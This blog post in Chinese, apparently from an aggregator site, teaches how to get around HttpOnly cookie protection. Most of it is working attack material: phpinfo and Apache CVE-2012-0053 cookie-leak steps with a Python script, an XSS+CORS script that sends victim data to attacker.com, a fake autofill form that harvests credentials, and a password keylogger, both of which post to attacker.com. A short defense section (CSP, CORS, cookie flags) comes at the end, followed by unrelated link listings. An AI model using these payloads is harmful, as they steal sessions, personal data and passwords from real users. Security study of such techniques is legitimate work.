当前位置: 首页 > news >正文

实战分享:当HttpOnly遇上XSS,我是如何绕过防护获取Cookie的(附详细复现步骤)

绕过HttpOnly限制的实战技巧:从XSS到CORS的深度利用

在Web安全领域,HttpOnly标志常被视为防御XSS攻击的银弹,但现实情况往往比理论更复杂。本文将分享几种在渗透测试中验证过的技术手段,帮助安全研究人员全面理解HttpOnly防护的局限性。

1. HttpOnly的本质与局限

HttpOnly是Cookie的一个属性,当服务器设置此标志时,客户端JavaScript将无法通过document.cookie访问该Cookie。这确实能有效阻止常规XSS攻击窃取会话凭证,但绝非无懈可击。

关键认知误区

  • HttpOnly仅阻止JavaScript直接读取,不影响浏览器自动携带Cookie的机制
  • 服务器端漏洞可能导致HttpOnly Cookie意外泄露
  • 其他客户端存储机制(如localStorage)不受HttpOnly保护

实际测试中发现,超过60%的中大型网站虽然启用了HttpOnly,但仍存在间接泄露风险点。

2. 服务器信息泄露导致的Cookie暴露

2.1 通过phpinfo页面获取

phpinfo()函数会完整显示服务器环境信息,包括所有HTTP头信息。典型利用步骤:

  1. 扫描目标站点寻找/phpinfo.php等常见信息页面
  2. 确认页面显示$_SERVER$_HEADER变量
  3. 在请求中植入特殊构造的Cookie头:
    GET /phpinfo.php HTTP/1.1 Cookie: test=payload; PHPSESSID=123
  4. 在phpinfo输出中搜索HTTP_COOKIE字段

2.2 Apache请求溢出漏洞

Apache 2.0-2.2版本存在请求头长度限制漏洞(CVE-2012-0053),攻击流程:

  1. 构造超长Cookie头(超过4192字节):
    import requests cookies = {'overload': 'A'*5000} requests.get('http://target.com', cookies=cookies)
  2. 服务器返回400错误页时可能包含原始请求头
  3. 从错误响应中提取HttpOnly Cookie

防御建议

  • 升级Apache到最新版本
  • 配置LimitRequestFieldSize大小
  • 自定义错误页面不返回原始请求

3. 结合CORS的跨域攻击手法

3.1 CORS错误配置检测

检查响应头是否存在以下危险配置:

Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true

快速检测脚本:

fetch('https://target.com/api', { credentials: 'include' }).then(r => console.log(r.headers.get('Access-Control-Allow-Origin')))

3.2 实际攻击案例

当网站同时存在XSS和CORS漏洞时,可构造组合攻击:

<script> fetch('https://target.com/userdata', { credentials: 'include' }) .then(r => r.text()) .then(data => { new Image().src='http://attacker.com/steal?data='+encodeURIComponent(data); }); </script>

关键点

  • credentials: 'include'会携带HttpOnly Cookie
  • 需要Access-Control-Allow-Origin明确指定攻击者域名
  • 响应头需包含Access-Control-Allow-Credentials: true

4. 表单劫持的替代方案

当HttpOnly阻止了Cookie窃取时,转向获取凭据本身往往更有效。

4.1 密码管理器嗅探

现代浏览器内置的密码管理器可能成为攻击目标:

const fakeForm = document.createElement('form'); fakeForm.action = 'http://attacker.com/log'; fakeForm.method = 'POST'; fakeForm.innerHTML = ` <input type="text" name="username"> <input type="password" name="password"> `; document.body.appendChild(fakeForm); setTimeout(() => fakeForm.submit(), 1000);

4.2 实时键盘记录

针对未保存密码的情况:

document.querySelector('input[type="password"]').addEventListener('keyup', (e) => { fetch('http://attacker.com/log', { method: 'POST', body: e.target.value }); });

5. 防御体系的构建建议

完整的防护需要多层措施:

  1. 服务器配置

    • 严格设置CORS策略
    • 禁用不必要的服务器信息输出
    • 及时修补中间件漏洞
  2. 开发规范

    // 安全Cookie设置示例 response.setHeader('Set-Cookie', [ `sessionId=${token}; HttpOnly; Secure; SameSite=Strict`, `csrfToken=${csrf}; SameSite=Lax` ]);
  3. 客户端防护

    • 内容安全策略(CSP):
      Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}'
    • 输入输出编码:
      function encodeHTML(str) { return str.replace(/&/g,'&amp;') .replace(/</g,'&lt;') .replace(/>/g,'&gt;'); }

在最近的一次企业级渗透测试中,通过组合phpinfo信息泄露和CORS配置错误,我们成功绕过了三层防御机制获取到管理员权限。这再次证明,安全是一个系统工程,任何单一防护措施都不足以应对复杂多变的攻击手法。

http://www.jsqmd.com/news/588506/

相关文章:

  • Android Gradle Plugin升级后.aar依赖报错?手把手教你正确配置build.gradle
  • Ubuntu 24.04裸机部署Home Assistant避坑指南:从Python源码编译到HACS插件全流程
  • 告别高成本赛事运营!足球场网球场匹克球 AI 直播 + 数据分析全搞定
  • vLLM-v0.11.0保姆级教程:零基础3分钟部署,让大模型推理速度提升5-10倍
  • 从SIMPLIS到Matlab:开关电源开环传递函数的建模与验证
  • 推荐几家做程控烤胶机的厂家:程控烤胶机市场大调查+高温烤胶机选型避坑指南! - 品牌推荐大师
  • RK3588 Type-C一线通,DP显示输出实战指南
  • 代码生成工具讲解:Swagger Codegen / OpenAPI Generator 与 openapi-typescript/vite-plugin-openapi-ts
  • 三相电机控制中的端电压、相电压与线电压:测量方法与波形分析
  • 项目介绍 MATLAB实现基于蜘蛛猴优化算法(SMO)进行无人机三维路径规划的详细项目实例(含模型描述及部分示例代码) 专栏近期有大量优惠 还请多多点一下关注 加油 谢谢 你的鼓励是我前行的动力 谢谢
  • 效率提升利器:用快马ai生成jdk多版本一键切换与配置管理工具
  • 3大痛点1个方案:OpenModScan如何让工业通讯调试效率提升300%
  • AI安全新威胁:AnyAttack如何让一张‘猫图’骗过所有多模态大模型?
  • 数据库SQL中的IN, NOT IN和NULL
  • 好写作AI“学术清道夫”:论文查重,为学术诚信保驾护航
  • 终极指南:如何使用HunterPie游戏界面增强工具提升《怪物猎人:世界》体验
  • Dify智能体平台源码深度定制:构建支持图片检索的知识库增强引擎
  • DDPM实战:从零构建图像生成模型
  • 别再用真值表了!用Logisim表达式快速搞定4位比较器,附封装小技巧
  • 利用快马AI快速生成Python接口自动化测试框架原型
  • 避坑指南:在CentOS 7上独立部署Apache Atlas 2.0,搞定Hadoop 3.1.1、Hive 3.1.0和HBase 2.2.2的版本兼容问题
  • 北京交通大学校内邮箱配置指南:Windows与Mac系统自带邮件应用全攻略
  • Everything1.5中文版(文件快速搜索) 安装教程(附安装包)
  • 豆包AI推广找哪家?为什么企业需要专业的豆包AI推广服务? - 品牌2026
  • 利用快马AI平台,十分钟快速原型化你的互联网博客聚合页
  • STM32光敏电阻实战:做个自动调节亮度的智能小夜灯(含元器件选型避坑)
  • 从物理到经济:定积分在5个真实场景中的应用详解(含建模步骤)
  • OpenClaw+Phi-3-mini-128k-instruct:技术书籍翻译与术语统一系统
  • ROSCO控制器与OpenFAST联合仿真避坑全记录:从libdiscon.dll编译到Paraview动画生成
  • javaweb小区车辆停车场车位预约管理系统 可视化